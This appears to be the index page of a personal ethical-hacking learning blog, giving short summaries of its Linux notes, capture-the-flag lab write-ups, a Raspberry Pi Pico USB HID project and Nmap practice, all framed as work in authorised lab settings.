Root Access Starts Here..
WrathHack is a personal learning log focused on Linux, ethical hacking, and offensive security. Every write-up, project, and lab completed here represents another step toward becoming a skilled penetration tester. No shortcuts—just curiosity, persistence, and continuous learning.
Project lanes
Linux
Documenting commands, troubleshooting, Bash scripting, networking, and everything I learn while mastering Linux. Every mistake and solution becomes a reference for the future.
Lab writeups
Walkthroughs from TryHackMe, Hack The Box, VulnHub, and other practice labs. Focusing on methodology, enumeration, privilege escalation, and lessons learned—not just the flags.
Cyber Projects
Hands-on cybersecurity projects focused on practical learning. Here you'll find custom scripts, Raspberry Pi experiments, web development, automation tools, and projects like PicoLogger—exploring USB HID devices, embedded hardware, and offensive security concepts in controlled environments.
Journey timeline
Build the foundations
Master Linux, networking, Bash, Python, Git, and the fundamentals of cybersecurity while developing strong technical habits.
Practice nonstop
Complete CTFs,Boot to Roots, vulnerable machines, and real-world style labs. Improve enumeration, web exploitation, privilege escalation, and reporting skills through consistent practice.
Professional growth
Prepare for certifications, gain real-world experience, participate in competitions, and continue working toward a career in penetration testing and offensive security.

Field notes, writeups, and weekly logs.
This page stays as your separate blog area, but now the visual language matches the darker Ubuntu-based intro more closely.
PicoLogger
A complete build log following the development of a Raspberry Pi Pico-powered USB HID device for cybersecurity research. This project covers component selection, firmware compilation, payload development, device testing, debugging, hardware modifications, and documentation. Along the way I explore USB HID communication, embedded programming, and the practical applications of programmable HID devices in authorized security testing environments.
MrRobot Boot to Root
I completed the Mr-Robot VulnHub machine as one of my first boot-to-root challenges. It helped me practise real penetration testing skills, including enumeration, web exploitation, Linux privilege escalation, and thinking like an attacker in a controlled environment. This challenge improved my understanding of the pentesting process and strengthened my interest in cybersecurity.
TryHackme
I use TryHackMe as a hands-on platform to develop practical cybersecurity skills through real-world labs and simulated environments. It has helped me improve my knowledge of Linux, networking, reconnaissance, enumeration, web vulnerabilities, privilege escalation, and penetration testing workflows. Through different rooms and learning paths, I have practised using tools such as Nmap, Gobuster, Burp Suite, Metasploit, and various Linux security utilities while learning how vulnerabilities are discovered, exploited, and documented. TryHackMe has helped me move beyond theory and apply security concepts in practical environments.
Learning Nmap
Nmap is one of the main tools I use for network reconnaissance and enumeration. I use it to discover hosts, identify open ports, detect running services, and gather information about target systems in controlled lab environments. Learning Nmap has helped me understand how penetration testers map networks, identify potential attack surfaces, and use gathered information to guide further security testing.

ducky scripts
Useful ducky scripts.
Ducky Scripts automate keyboard actions for tasks like IT setup, security testing, and learning about USB HID devices. They are useful for demonstrating physical security risks, automating workflows, and testing systems in authorized environments.
